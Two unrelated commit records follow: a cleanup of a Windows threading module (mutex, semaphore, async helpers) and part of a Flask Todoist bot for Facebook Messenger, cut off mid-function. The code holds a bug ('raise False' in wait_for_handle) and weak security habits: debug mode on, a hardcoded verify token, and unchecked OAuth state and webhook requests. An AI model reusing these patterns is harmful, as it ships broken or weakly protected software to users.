<commit_before>"""
attila.threads
==============

Classes and functions for multi-threaded environments and inter-thread/process synchronization and communication.
"""

import ctypes
import sys
import threading
import time
import traceback

from ctypes import wintypes

import pythoncom
import win32con
import win32event

# This determines what gets imported by "from <module> import *" statements.
__all__ = [
    "mutex",
    "semaphore",
    "AsyncCall",
    "async",
]

def wait_for_handle(handle, timeout=None):
    """
    Wait up to timeout seconds to acquire the handle. Return True if the handle was successfully acquired. Return False
    if the handle was not acquired due to timeout.

    This function is not just for mutexes. It works for a variety of resources. For more details see:
    https://msdn.microsoft.com/en-us/library/windows/desktop/ms687032(v=vs.85).aspx

    :param handle: The Windows object handle to acquire.
    :param timeout: The maximum time in seconds to wait.
    :return: Whether the handle was acquired.
    """

    if timeout is None:
        # max int, never time out.
        timeout_milliseconds = 0xFFFFFFFF
    else:
        # approximate max int, take minimum between the two
        timeout_milliseconds = int(max(min(0xFFFFFFFE, timeout * 1000), 1))

    # Return Values:
    #   0 indicates the lock was already available or the other program released the handle intentionally.
    #   0x80 indicates the other program released the handle when it exited
    #   0x102 indicates the request timed out.
    #   0xFFFFFFFF indicates the function failed, and we should call GetLastError() to see why.
    #   Any other value indicates an error handling the request in Windows itself.
    status = win32event.WaitForSingleObject(handle, timeout_milliseconds)

    if status == win32con.WAIT_ABANDONED:  # AKA MUTEX_RELEASED_DUE_TO_PROGRAM_EXIT
        # mutex was acquired
        return True
    elif status == win32con.WAIT_OBJECT_0:  # AKA MUTEX_RELEASED_NORMALLY
        # mutex was acquired
        return True
    elif status == win32con.WAIT_TIMEOUT:  # AKA MUTEX_TIMED_OUT
        # Request timed out
        raise False
    elif status == win32con.WAIT_FAILED:
        # Something else went wrong. We can't look up the error message because it's a separate function call, and for
        # all we know, a different Python thread took control between the call to WaitForSingleObject and the call to
        # GetLastError() that would give us more info. So instead, we just give a generic error message.
        raise RuntimeError("The handle could not be acquired.")
    else:
        # Something went wrong
        raise RuntimeError("Unexpected status: " + str(status))

# See http://code.activestate.com/recipes/577794-win32-named-mutex-class-for-system-wide-mutex/
class mutex:
    """Mutex is short for "mutual exclusion". A mutex is an inter-process lock
    which only one running process can own at a time. To use a mutex, first
    create it. This does not lock the mutex; it simply creates an object to
    represent it. Calling the lock method will wait until the mutex becomes
    unlocked by other processes and threads and then lock it by this process.
    Only this thread will be able to unlock it, by calling unlock (or when the
    process ends if it fails to call unlock). Mutexes can also be used with the
    'with' syntax to automatically manage locking scope. This class's locking is
    re-entrant, meaning that as long as you are using the same instance of this
    class, you can lock the mutex multiple times without releasing it in
    between. (You have to call unlock one for each time you called lock.)

    Mutexes serve to protect shared resources from race conditions in a
    multi-threaded environment. For example, suppose you must restrict access
    to a program that is accessed through a COM interface; only one instance
    of this COM-interfaced program can be running at any given time, and only
    one script can safely access it at a time. This can be safely managed by
    designating a single name to represent the shared COM-interfaced program in
    all your scripts, and using mutexes to guard the program. In each script
    that accesses the program, you would create a mutex object and lock it
    before accessing the program, unlocking it again only after the script is
    done with its interactions with the program. The mutex lock request in each
    script will guarantee that the script stops and waits for any other script
    that is already using the shared program to finish what it is doing before
    the newcomer starts to use it. (The hall pass in high school and the
    bathroom key at a gas station are examples of a real-world mutexes.)"""

    # ctypes wrapper for windows function CreateMutexA
    _create = ctypes.windll.kernel32.CreateMutexA
    _create.restype = wintypes.HANDLE
    _create.argtypes = [wintypes.LPCVOID, wintypes.BOOL, wintypes.LPCSTR]

    # ctypes wrapper for windows function ReleaseMutex
    _release = ctypes.windll.kernel32.ReleaseMutex
    _release.restype = wintypes.BOOL
    _release.argtypes = [wintypes.HANDLE]

    # ctypes wrapper for windows function CloseHandle
    _close = ctypes.windll.kernel32.CloseHandle
    _close.restype = wintypes.BOOL
    _close.argtypes = [wintypes.HANDLE]

    # ctypes wrapper for windows function WaitForSingleObject
    # _wait_for = ctypes.windll.kernel32.WaitForSingleObject
    # _wait_for.restype = wintypes.BOOL
    # _wait_for.argtypes = [wintypes.HANDLE, wintypes.DWORD]

    MUTEX_TIMED_OUT = win32con.WAIT_TIMEOUT  # 0x102
    MUTEX_RELEASED_NORMALLY = win32con.WAIT_OBJECT_0  # 0
    MUTEX_RELEASED_DUE_TO_PROGRAM_EXIT = win32con.WAIT_ABANDONED  # 0x80

    def __init__(self, name):
        self._name = name
        self._handle = self._create(None, False, wintypes.LPCSTR(self._name.encode()))
        if not self._handle:
            raise RuntimeError("Failed to create mutex handle for " + repr(self._name) + ".")
        self._held_count = 0

    def __del__(self):
        """Called when no more Python references to the mutex instance exist."""
        if self._handle and not self._close(self._handle):
            raise RuntimeError("Failed to close mutex handle for " + repr(self._name) + ".")
        self._handle = None

    @property
    def name(self):
        """The name of the mutex."""
        return self._name

    @property
    def held_count(self):
        """The number of locks to the mutex currently held by this instance."""
        return self._held_count

    def lock(self, timeout=None):
        """
        Called to lock the mutex. If timeout is provided, the method will return back True or False to indicate whether
        the lock was acquired within the indicated time limit. Otherwise, the method will wait indefinitely until
        successful, which will always return True. An exception will be raised if the lock cannot be acquired for
        reasons other than a request timeout, where False is returned.

        :param timeout: The maximum time, in seconds, to wait for the lock.
        :return: Whether the lock was acquired.
        """
        if self._held_count:
            self._held_count += 1
            return True

        return wait_for_handle(self._handle, timeout)

    def unlock(self):
        """Called to unlock the mutex. This should be called once for each time
        that lock is previously called, after the shared resource is no longer
        required."""
        if self._held_count <= 0:
            self._held_count = 0  # Just in case it somehow ended up negative.
            raise ValueError("mutex " + repr(self._name) + " cannot be released because it is not held.")
        elif self._held_count > 1:
            self._held_count -= 1
        else:
            if not self._release(self._handle):
                raise RuntimeError("Failed to unlock mutex " + repr(self._name) + ".")
            self._held_count = 0

    def __enter__(self):
        """This is called when you use a mutex in a 'with' block, as the block
        is entered."""
        self.lock()
        return self

    # noinspection PyUnusedLocal
    def __exit__(self, exc_type, exc_val, exc_tb):
        """This is called when you use a mutex in a 'with' block, as the block
        is exited."""
        self.unlock()
        return False  # Indicates that errors should NOT be suppressed.

# TODO: This is a kludge built on top of mutex. Revamp it to use the underlying Windows semaphore functionality for
#       greater efficiency.
class semaphore:
    """A semaphore is an inter-process lock which up to N running processes can
    own at a time. It is similar to a mutex, except that there
    are multiple, indistinguishable resources being guarded rather than just
    one. To use a semaphore, first create it. This does not lock the semaphore;
    it simply creates an object to represent it. Calling the lock method will
    wait until one of the N locks of the semaphore becomes unlocked by another
    process or thread, and then lock it by this process. Only this thread will
    be able to unlock it, by calling unlock (or when the process ends if it
    fails to call unlock). Semaphores can also be used with the 'with' syntax
    to automatically manage locking scope. This class's locking is re-entrant,
    meaning that as long as you are using the same instance of this class, you
    can lock the semaphore multiple times without releasing it in between, and
    it will only count as one lock. (You have to call unlock once for each time
    you called lock.)"""

    def __init__(self, name, max_count):
        self._name = name
        self._max_count = max_count
        self._mutexes = []
        self._held_mutex = None

    def __del__(self):
        """Called when no more Python references to the semaphore instance exist."""
        if self._held_mutex:
            while self._held_mutex.held_count > 0:
                self._held_mutex.unlock()
        self._held_mutex = None

    @property
    def name(self):
        """The name of the semaphore."""
        return self._name

    @property
    def held_count(self):
        """The number of re-entrant locks to the same resource currently held by this instance."""
        return 0 if self._held_mutex is None else self._held_mutex.held_count

    @property
    def max_count(self):
        """The number of resources guarded by this semaphore."""
        return self._max_count

    def _poll_and_lock(self):
        """Runs through each of the indexed mutexes to find one that can be locked.
        Returns a Boolean indicating whether a mutex was successfully acquired."""
        if self._held_mutex:
            return self._held_mutex.lock(0)

        for index in range(self._max_count):
            if index >= len(self._mutexes):
                held_mutex = mutex(self._name + '/' + str(index))
                self._mutexes.append(held_mutex)
            else:
                held_mutex = self._mutexes[index]

            if held_mutex.lock(0):
                self._held_mutex = held_mutex
                return True

        return False

    def lock(self, timeout=None, interval=.1):
        """
        Called to lock the semaphore. If timeout is provided, the method will return back True or False to indicate
        whether a lock was acquired within the indicated time limit. Otherwise, the method will wait indefinitely and
        will always return True once complete. An exception will be raised if the lock cannot be acquired for reasons
        other than a request timeout.

        :param timeout: The maximum time in seconds to wait for the lock.
        :param interval: The time in seconds between polls.
        :return: Whether the lock was acquired.
        """
        if timeout is None:
            end_time = None
        else:
            end_time = time.time() + timeout

        while True:
            if self._poll_and_lock():
                return True

            if end_time is not None and time.time() >= end_time:
                return False

            time.sleep(interval)

    def unlock(self):
        """Called to unlock the semaphore. This should be called once for each time
        that lock is previously called, after the shared resources are no longer
        required."""
        if self._held_mutex is None:
            raise ValueError("Semaphore lock for " + repr(self._name) + " cannot be released because it is not held.")

        self._held_mutex.unlock()

        if self._held_mutex.held_count <= 0:
            self._held_mutex = None

    def __enter__(self):
        """This is called when you use a semaphore in a 'with' block, as the block
        is entered."""
        self.lock()
        return self

    # noinspection PyUnusedLocal
    def __exit__(self, exc_type, exc_val, exc_tb):
        """This is called when you use a semaphore in a 'with' block, as the block
        is exited."""
        self.unlock()
        return False  # Indicates that errors should NOT be suppressed.

class AsyncCall(threading.Thread):
    """
    A specialized thread to call a function asynchronously and capture the return value or exception info when it
    becomes available.
    """

    def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, *, daemon=None):
        super().__init__(group, self._target_wrapper, name, args, kwargs, daemon=daemon)
        self._wrapped_target = target
        self.terminated = False
        self.return_value = None
        self.exception = None
        self.traceback = None
        self.exc_info = (None, None, None)

    def _target_wrapper(self, *args, **kwargs):
        """
        Wraps the target function, capturing its return value or exception info.
        """
        pythoncom.CoInitialize()
        try:
            if self._wrapped_target:
                self.return_value = self._wrapped_target(*args, **kwargs)
            self.terminated = True
        except Exception as exc:
            self.exception = exc
            self.traceback = traceback.format_exc()
            self.exc_info = sys.exc_info()
            raise
        finally:
            pythoncom.CoUninitialize()

def async(function, *args, **kwargs):
    """
    Asynchronously call a function, returning an AsyncCall object through which the return value or exception info can
    be accessed once the call completes.

    :param function: The function to call in the background.
    :param args: The arguments to pass to the function.
    :param kwargs: The keyword arguments to pass to the function.
    :return: An AsyncCall object through which the return value or exception info can be accessed.
    """
    thread = AsyncCall(target=function, args=args, kwargs=kwargs, daemon=True)
    thread.start()
    return thread
<commit_msg>Minor code cleanup<commit_after>"""
attila.threads
==============

Classes and functions for multi-threaded environments and inter-thread/process synchronization and
communication.
"""

import ctypes
import sys
import threading
import time
import traceback

from ctypes import wintypes

import pythoncom
import win32con
import win32event

# This determines what gets imported by "from <module> import *" statements.
__all__ = [
    "wait_for_handle",
    "mutex",
    "semaphore",
    "AsyncCall",
    "async",
]

def wait_for_handle(handle, timeout=None):
    """
    Wait up to timeout seconds to acquire the handle. Return True if the handle was successfully
    acquired. Return False if the handle was not acquired due to timeout.

    This function is not just for mutexes. It works for a variety of resources. For more details
    see: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687032(v=vs.85).aspx

    :param handle: The Windows object handle to acquire.
    :param timeout: The maximum time in seconds to wait.
    :return: Whether the handle was acquired.
    """

    if timeout is None:
        # max int, never time out.
        timeout_milliseconds = 0xFFFFFFFF
    else:
        # approximate max int, take minimum between the two
        timeout_milliseconds = int(max(min(0xFFFFFFFE, timeout * 1000), 1))

    # Return Values:
    #   0 indicates the lock was already available or the other program released the handle
    #       intentionally.
    #   0x80 indicates the other program released the handle when it exited
    #   0x102 indicates the request timed out.
    #   0xFFFFFFFF indicates the function failed, and we should call GetLastError() to see why.
    #
    #   Any other value indicates an error handling the request in Windows itself.
    status = win32event.WaitForSingleObject(handle, timeout_milliseconds)

    if status == win32con.WAIT_ABANDONED:  # AKA MUTEX_RELEASED_DUE_TO_PROGRAM_EXIT
        # mutex was acquired
        return True
    elif status == win32con.WAIT_OBJECT_0:  # AKA MUTEX_RELEASED_NORMALLY
        # mutex was acquired
        return True
    elif status == win32con.WAIT_TIMEOUT:  # AKA MUTEX_TIMED_OUT
        # Request timed out
        raise False
    elif status == win32con.WAIT_FAILED:
        # Something else went wrong. We can't look up the error message because it's a separate
        # function call, and for all we know, a different Python thread took control between the
        # call to WaitForSingleObject and the call to GetLastError() that would give us more info.
        # So instead, we just give a generic error message.
        raise RuntimeError("The handle could not be acquired.")
    else:
        # Something went wrong
        raise RuntimeError("Unexpected status: " + str(status))

# See http://code.activestate.com/recipes/577794-win32-named-mutex-class-for-system-wide-mutex/
class mutex:
    """Mutex is short for "mutual exclusion". A mutex is an inter-process lock
    which only one running process can own at a time. To use a mutex, first
    create it. This does not lock the mutex; it simply creates an object to
    represent it. Calling the lock method will wait until the mutex becomes
    unlocked by other processes and threads and then lock it by this process.
    Only this thread will be able to unlock it, by calling unlock (or when the
    process ends if it fails to call unlock). Mutexes can also be used with the
    'with' syntax to automatically manage locking scope. This class's locking is
    re-entrant, meaning that as long as you are using the same instance of this
    class, you can lock the mutex multiple times without releasing it in
    between. (You have to call unlock one for each time you called lock.)

    Mutexes serve to protect shared resources from race conditions in a
    multi-threaded environment. For example, suppose you must restrict access
    to a program that is accessed through a COM interface; only one instance
    of this COM-interfaced program can be running at any given time, and only
    one script can safely access it at a time. This can be safely managed by
    designating a single name to represent the shared COM-interfaced program in
    all your scripts, and using mutexes to guard the program. In each script
    that accesses the program, you would create a mutex object and lock it
    before accessing the program, unlocking it again only after the script is
    done with its interactions with the program. The mutex lock request in each
    script will guarantee that the script stops and waits for any other script
    that is already using the shared program to finish what it is doing before
    the newcomer starts to use it. (The hall pass in high school and the
    bathroom key at a gas station are examples of a real-world mutexes.)"""

    # ctypes wrapper for windows function CreateMutexA
    _create = ctypes.windll.kernel32.CreateMutexA
    _create.restype = wintypes.HANDLE
    _create.argtypes = [wintypes.LPCVOID, wintypes.BOOL, wintypes.LPCSTR]

    # ctypes wrapper for windows function ReleaseMutex
    _release = ctypes.windll.kernel32.ReleaseMutex
    _release.restype = wintypes.BOOL
    _release.argtypes = [wintypes.HANDLE]

    # ctypes wrapper for windows function CloseHandle
    _close = ctypes.windll.kernel32.CloseHandle
    _close.restype = wintypes.BOOL
    _close.argtypes = [wintypes.HANDLE]

    # ctypes wrapper for windows function WaitForSingleObject
    # _wait_for = ctypes.windll.kernel32.WaitForSingleObject
    # _wait_for.restype = wintypes.BOOL
    # _wait_for.argtypes = [wintypes.HANDLE, wintypes.DWORD]

    MUTEX_TIMED_OUT = win32con.WAIT_TIMEOUT  # 0x102
    MUTEX_RELEASED_NORMALLY = win32con.WAIT_OBJECT_0  # 0
    MUTEX_RELEASED_DUE_TO_PROGRAM_EXIT = win32con.WAIT_ABANDONED  # 0x80

    def __init__(self, name):
        self._name = name
        self._handle = self._create(None, False, wintypes.LPCSTR(self._name.encode()))
        if not self._handle:
            raise RuntimeError("Failed to create mutex handle for " + repr(self._name) + ".")
        self._held_count = 0

    def __del__(self):
        """Called when no more Python references to the mutex instance exist."""
        if self._handle and not self._close(self._handle):
            raise RuntimeError("Failed to close mutex handle for " + repr(self._name) + ".")
        self._handle = None

    @property
    def name(self):
        """The name of the mutex."""
        return self._name

    @property
    def held_count(self):
        """The number of locks to the mutex currently held by this instance."""
        return self._held_count

    def lock(self, timeout=None):
        """
        Called to lock the mutex. If timeout is provided, the method will return back True or False
        to indicate whether the lock was acquired within the indicated time limit. Otherwise, the
        method will wait indefinitely until successful, which will always return True. An exception
        will be raised if the lock cannot be acquired for reasons other than a request timeout,
        where False is returned.

        :param timeout: The maximum time, in seconds, to wait for the lock.
        :return: Whether the lock was acquired.
        """
        if self._held_count:
            self._held_count += 1
            return True

        return wait_for_handle(self._handle, timeout)

    def unlock(self):
        """Called to unlock the mutex. This should be called once for each time
        that lock is previously called, after the shared resource is no longer
        required."""
        if self._held_count <= 0:
            self._held_count = 0  # Just in case it somehow ended up negative.
            raise ValueError("mutex " + repr(self._name) +
                             " cannot be released because it is not held.")
        elif self._held_count > 1:
            self._held_count -= 1
        else:
            if not self._release(self._handle):
                raise RuntimeError("Failed to unlock mutex " + repr(self._name) + ".")
            self._held_count = 0

    def __enter__(self):
        """This is called when you use a mutex in a 'with' block, as the block
        is entered."""
        self.lock()
        return self

    # noinspection PyUnusedLocal
    def __exit__(self, exc_type, exc_val, exc_tb):
        """This is called when you use a mutex in a 'with' block, as the block
        is exited."""
        self.unlock()
        return False  # Indicates that errors should NOT be suppressed.

# TODO: This is a kludge built on top of mutex. Revamp it to use the underlying Windows semaphore
#       functionality for greater efficiency.
class semaphore:
    """A semaphore is an inter-process lock which up to N running processes can
    own at a time. It is similar to a mutex, except that there
    are multiple, indistinguishable resources being guarded rather than just
    one. To use a semaphore, first create it. This does not lock the semaphore;
    it simply creates an object to represent it. Calling the lock method will
    wait until one of the N locks of the semaphore becomes unlocked by another
    process or thread, and then lock it by this process. Only this thread will
    be able to unlock it, by calling unlock (or when the process ends if it
    fails to call unlock). Semaphores can also be used with the 'with' syntax
    to automatically manage locking scope. This class's locking is re-entrant,
    meaning that as long as you are using the same instance of this class, you
    can lock the semaphore multiple times without releasing it in between, and
    it will only count as one lock. (You have to call unlock once for each time
    you called lock.)"""

    def __init__(self, name, max_count):
        self._name = name
        self._max_count = max_count
        self._mutexes = []
        self._held_mutex = None

    def __del__(self):
        """Called when no more Python references to the semaphore instance exist."""
        if self._held_mutex:
            while self._held_mutex.held_count > 0:
                self._held_mutex.unlock()
        self._held_mutex = None

    @property
    def name(self):
        """The name of the semaphore."""
        return self._name

    @property
    def held_count(self):
        """The number of re-entrant locks to the same resource currently held by this instance."""
        return 0 if self._held_mutex is None else self._held_mutex.held_count

    @property
    def max_count(self):
        """The number of resources guarded by this semaphore."""
        return self._max_count

    def _poll_and_lock(self):
        """Runs through each of the indexed mutexes to find one that can be locked.
        Returns a Boolean indicating whether a mutex was successfully acquired."""
        if self._held_mutex:
            return self._held_mutex.lock(0)

        for index in range(self._max_count):
            if index >= len(self._mutexes):
                held_mutex = mutex(self._name + '/' + str(index))
                self._mutexes.append(held_mutex)
            else:
                held_mutex = self._mutexes[index]

            if held_mutex.lock(0):
                self._held_mutex = held_mutex
                return True

        return False

    def lock(self, timeout=None, interval=.1):
        """
        Called to lock the semaphore. If timeout is provided, the method will return back True or
        False to indicate whether a lock was acquired within the indicated time limit. Otherwise,
        the method will wait indefinitely and will always return True once complete. An exception
        will be raised if the lock cannot be acquired for reasons other than a request timeout.

        :param timeout: The maximum time in seconds to wait for the lock.
        :param interval: The time in seconds between polls.
        :return: Whether the lock was acquired.
        """
        if timeout is None:
            end_time = None
        else:
            end_time = time.time() + timeout

        while True:
            if self._poll_and_lock():
                return True

            if end_time is not None and time.time() >= end_time:
                return False

            time.sleep(interval)

    def unlock(self):
        """Called to unlock the semaphore. This should be called once for each time
        that lock is previously called, after the shared resources are no longer
        required."""
        if self._held_mutex is None:
            raise ValueError("Semaphore lock for " + repr(self._name) +
                             " cannot be released because it is not held.")

        self._held_mutex.unlock()

        if self._held_mutex.held_count <= 0:
            self._held_mutex = None

    def __enter__(self):
        """This is called when you use a semaphore in a 'with' block, as the block
        is entered."""
        self.lock()
        return self

    # noinspection PyUnusedLocal
    def __exit__(self, exc_type, exc_val, exc_tb):
        """This is called when you use a semaphore in a 'with' block, as the block
        is exited."""
        self.unlock()
        return False  # Indicates that errors should NOT be suppressed.

class AsyncCall(threading.Thread):
    """
    A specialized thread to call a function asynchronously and capture the return value or exception
    info when it becomes available.
    """

    def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, *, daemon=None):
        super().__init__(group, self._target_wrapper, name, args, kwargs, daemon=daemon)
        self._wrapped_target = target
        self.terminated = False
        self.return_value = None
        self.exception = None
        self.traceback = None
        self.exc_info = (None, None, None)

    def _target_wrapper(self, *args, **kwargs):
        """
        Wraps the target function, capturing its return value or exception info.
        """
        pythoncom.CoInitialize()
        try:
            if self._wrapped_target:
                self.return_value = self._wrapped_target(*args, **kwargs)
            self.terminated = True
        except Exception as exc:
            self.exception = exc
            self.traceback = traceback.format_exc()
            self.exc_info = sys.exc_info()
            raise
        finally:
            pythoncom.CoUninitialize()

def async(function, *args, **kwargs):
    """
    Asynchronously call a function, returning an AsyncCall object through which the return value or
    exception info can be accessed once the call completes.

    :param function: The function to call in the background.
    :param args: The arguments to pass to the function.
    :param kwargs: The keyword arguments to pass to the function.
    :return: An AsyncCall object through which the return value or exception info can be accessed.
    """
    thread = AsyncCall(target=function, args=args, kwargs=kwargs, daemon=True)
    thread.start()
    return thread
<|endoftext|>


<commit_before>from flask import Flask
from flask import request, abort
import json
import requests
import urllib
import requests.auth
import os
from client import TodoistClient
from uuid import uuid4
from pymongo import MongoClient
from dateutil.parser import parse
from datetime import timedelta, datetime
from webob import Response
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.jobstores.mongodb import MongoDBJobStore

FB_MESSAGES_ENDPOINT = 'https://graph.facebook.com/v2.6/me/messages'
OAUTH_CODE_ENDPOINT = 'https://todoist.com/oauth/authorize'
OAUTH_ACCESS_TOKEN_ENDPOINT = 'https://todoist.com/oauth/access_token'
REDIRECT_URI = 'http://pure-hamlet-63323.herokuapp.com/todoist_callback'
MONGO_DB_TOKENS_DATABASE = 'todoist_access_tokens'
MONGO_DB_TOKENS_ENDPOINT = 'ds021434.mlab.com'
MONGO_DB_TOKENS_PORT = 21434
MONGO_DB_JOBS_DATABASE = 'apscheduler'
MONGO_DB_JOBS_ENDPOINT = 'ds011715.mlab.com'
MONGO_DB_JOBS_PORT = 11715
MONGO_DB_JOBS_URL = 'mongodb://{0}:{1}@{2}:{3}/{4}'.format(
    os.environ['MONGO_DB_USERNAME'],
    os.environ['MONGO_DB_PWD'],
    MONGO_DB_JOBS_ENDPOINT,
    MONGO_DB_JOBS_PORT,
    MONGO_DB_JOBS_DATABASE
)

REMINDER_OFFSET = 30

def connect():
    connection = MongoClient(
        MONGO_DB_TOKENS_ENDPOINT,
        MONGO_DB_TOKENS_PORT
    )
    handle = connection[MONGO_DB_TOKENS_DATABASE]
    handle.authenticate(
        os.environ['MONGO_DB_USERNAME'],
        os.environ['MONGO_DB_PWD']
    )
    return handle

app = Flask(__name__)
app.config['DEBUG'] = True
handle = connect()
scheduler = BackgroundScheduler(jobstores={
    'default': MongoDBJobStore(host=MONGO_DB_JOBS_URL)
})

@app.route('/webhook', methods=['GET', 'POST'])
def webhook():
    if request.method == 'GET':
        if request.args.get('hub.verify_token') == 'todoist_is_my_fave':
            return request.args.get('hub.challenge')
        else:
            return 'Wrong validation token'
    elif request.method == 'POST':
        data = json.loads(request.data)['entry'][0]['messaging']
        for event in data:
            # check if the event was sent by someone
            if 'sender' in event:
                sender_id = event['sender']['id']
                # get Todoist access token if there is none in MongoDB
                if handle.bot_users.find(
                    {'sender_id': sender_id}
                ).count() == 0:
                    get_access_token(sender_id)
                sender_id_matches = [x for x in handle.bot_users.find(
                    {'sender_id': sender_id})]
                if sender_id_matches:
                    access_token = sender_id_matches[0]['access_token']
                    tc = TodoistClient(access_token)
                    # add user_id to Mongo object to handle live notifications
                    if not 'user_id' in [x for x in handle.bot_users.find(
                        {'access_token': access_token}
                    )][0]:
                        handle.bot_users.update(
                            {'access_token': access_token},
                            {
                                '$set': {
                                    'user_id': tc.user_id
                                }
                            }
                        )
                    if 'message' in event and 'text' in event['message']:
                        message = event['message']['text']
                        if 'tasks' in message.lower():
                            # return tasks in project
                            if ' in ' in message.lower():
                                project_name = message.lower().split(
                                    ' in '
                                )[1]
                                project_tasks = tc.get_project_tasks(
                                    project_name
                                )
                                if type(project_tasks) is list:
                                    if len(project_tasks) > 0:
                                        send_tasks(
                                            sender_id,
                                            project_tasks
                                        )
                                    else:
                                        send_FB_text(
                                            sender_id,
                                            'No tasks in this project.'
                                        )
                                else:
                                    send_FB_text(
                                        sender_id,
                                        'Not a valid project.'
                                    )
                            # return tasks up to a certain date
                            elif ' up to ' in message.lower():
                                date_string = message.lower().split(
                                    ' up to '
                                )[1]
                                datetime = None
                                try:
                                    datetime = parse(date_string)
                                except:
                                    send_FB_text(
                                        sender_id,
                                        (
                                            'Date text not recognized. \n'
                                            'Try using actual dates.'
                                        )
                                    )
                                if datetime:
                                    send_tasks(
                                        sender_id,
                                        tc.get_tasks_up_to_date(
                                            datetime.date()
                                        )
                                    )
                            # send a normal tasks response
                            else:
                                send_tasks(
                                    sender_id,
                                    tc.get_this_week_tasks()
                                )
                        # write a task due a certain date
                        elif ' due ' in message:
                            write_task(sender_id, tc, message)
                        else:
                            send_generic_response(sender_id)
                    # button handling
                    if 'postback' in event:
                        payload = event['postback']['payload']
                        print 'Payload: {0}'.format(payload)
                        if payload == 'tasks':
                            send_tasks(sender_id, tc.get_this_week_tasks())
                        elif payload == 'write':
                            send_write_request(sender_id)
                        elif 'task_id' in payload:
                            complete_task(
                                sender_id,
                                tc,
                                payload.split(':')[1]
                            )
                        elif 'remove_alert' in payload:
                            task_id = payload.split(':')[1]
                            job_id = [x for x in handle.bot_users.find(
                                {'user_id': tc.user_id}
                            )][0]['reminder_jobs'][task_id]
                            scheduler.remove_job(job_id)
                            remove_reminder_job(
                                tc.user_id,
                                task_id
                            )
                            send_FB_text(sender_id, 'Alert removed.')
        return Response()

def send_tasks(sender_id, tasks):
    for task in tasks:
        send_FB_buttons(
            sender_id,
            '* {0} (Due {1})'.format(
                task['content'],
                task['date_string'] if task['date_string'] else 'never'
            ),
            [
                {
                    'type': 'postback',
                    'title':
                    'Complete',
                    'payload': '{0}:{1}'.format(
                        'task_id',
                        task['id']
                    )
                },
            ]
        )

def send_write_request(sender_id):
    send_FB_text(
        sender_id,
        (
            'Enter your task as follows: '
            '<Task Name> due <Date string>. '
            'Enter \'never\' if there is no due date.'
        )
    )

def write_task(sender_id, tc, message):
    task_name = message.split(' due ')[0]
    date_string = message.split(' due ')[1]
    if date_string == 'never':
        tc.write_task(
            task_name,
            'Inbox',
        )
    else:
        tc.write_task(
            task_name,
            'Inbox',
            date_string=date_string
        )
    send_FB_text(sender_id, 'Task written.')

def complete_task(sender_id, tc, task_id):
    tc.complete_task(task_id)
    send_FB_text(sender_id, 'Task completed.')

def send_generic_response(sender_id):
    send_FB_buttons(
        sender_id,
        (
            'Hi there! Would you like view your tasks or write tasks?\n'
            'You can also view tasks by typing \'tasks\'.\n'
            'You can view tasks up to a certain date'
            ' by typing \'tasks up to <date_string>\'\n'
            'You can view tasks in a specific project'
            ' by typing \'tasks in <project_name>\'\n'
        ),
        [
            {
                'type': 'postback',
                'title': 'View my tasks',
                'payload': 'tasks'
            },
            {
                'type': 'postback',
                'title': 'Write tasks',
                'payload': 'write'
            }
        ],
    )

@app.route('/todoist_callback')
def todoist_callback(methods=['GET']):
    if request.method == 'GET':
        error = request.args.get('error', '')
        if error:
            return 'Error: ' + error
        state = request.args.get('state', '')
        code = request.args.get('code')
        access_token = get_token(code)
        print 'Access token: {0}'.format(access_token)
        handle.bot_users.update(
            {'access_token': 'temp'},
            {
                '$set': {
                    'access_token': access_token
                }
            }
        )
        return 'success' if access_token and \
            handle.bot_users.find(
                {'access_token': access_token}
            ).count() else 'failure'

def get_access_token(sender_id):
    handle.bot_users.insert(
        {
            'sender_id': sender_id,
            'access_token': 'temp'
        }
    )
    send_FB_buttons(
        sender_id,
        'Looks like you haven\'t authorized Todoist.',
        [
            {
                'type': 'web_url',
                'title': 'Authorize now',
                'url': '{0}?{1}'.format(
                    OAUTH_CODE_ENDPOINT,
                    urllib.urlencode(
                        {
                            'client_id': os.environ['TODOIST_CLIENT_ID'],
                            'scope': 'data:read_write,data:delete',
                            'redirect_uri': REDIRECT_URI,
                            'state': uuid4()
                        }
                    )
                )
            }
        ],
    )

def get_token(code):
    post_data = {
        'client_id': os.environ['TODOIST_CLIENT_ID'],
        'client_secret': os.environ['TODOIST_CLIENT_SECRET'],
        'code': code,
        'redirect_uri': REDIRECT_URI
    }
    response = requests.post(
        OAUTH_ACCESS_TOKEN_ENDPOINT,
        data=post_data
    )
    token_json = response.json()
    return token_json['access_token']

@app.route('/todoist_notifications', methods=['POST'])
def todoist_notifications():
    if request.method == 'POST':
        data = json.loads(request.data)
        user_id = data['event_data']['user_id']
        bot_user = [x for x in handle.bot_users.find(
            {'user_id': user_id})][0]
        sender_id = bot_user['sender_id']
        access_token = bot_user['access_token']
        tc = TodoistClient(access_token)
        task = data['event_data']
        if data['event_name'] == 'item:added':
            if task['due_date_utc']:
                # tz naivete necessary to compare objects
                due_date = parse(task['due_date_utc']).replace(tzinfo=None)
                if due_date > (
                    datetime.now() + timedelta(minutes=REMINDER_OFFSET)
                ):  # only set alert if it is before the alert would happen
                    reminder_date = due_date - \
                        timedelta(minutes=REMINDER_OFFSET)
                    add_reminder_job(
                        reminder_date,
                        sender_id,
                        user_id,
                        task,
                        tc.tz_info['hours']
                    )
        elif data['event_name'] == 'item:completed' \
                or data['event_name'] == 'item:deleted':
            if 'reminder_jobs' in bot_user:
                reminder_jobs = bot_user['reminder_jobs']
                if str(task['id']) in reminder_jobs.keys():
                    remove_reminder_job(user_id, task['id'])
                    scheduler.remove_job(reminder_jobs[str(task['id'])])
        elif data['event_name'] == 'item:updated':
            print json.dumps(data['event_data'], indent=4)
        return Response()

def send_reminder(sender_id, user_id, task, mins_left):
    send_FB_buttons(
        sender_id,
        'Your task, "{0}", is due in {1} minutes!'.format(
            task['content'],
            mins_left
        ),
        [
            {
                'type': 'postback',
                'title':
                'Complete',
                'payload': '{0}:{1}'.format(
                    'task_id',
                    task['id']
                )
            },
        ]
    )
    remove_reminder_job(user_id, task['id'])

def remove_reminder_job(user_id, task_id):
    bot_user = [x for x in handle.bot_users.find(
        {'user_id': user_id})][0]
    reminder_jobs = bot_user['reminder_jobs']
    job_id = reminder_jobs.pop(str(task_id))
    handle.bot_users.update(
        {'user_id': user_id},
        {
            '$set': {
                'reminder_jobs': reminder_jobs
            }
        }
    )

def add_reminder_job(reminder_date, sender_id, user_id,
                     task, time_diff):
    job_id = uuid4().__str__()
    task_id = task['id']
    job = scheduler.add_job(
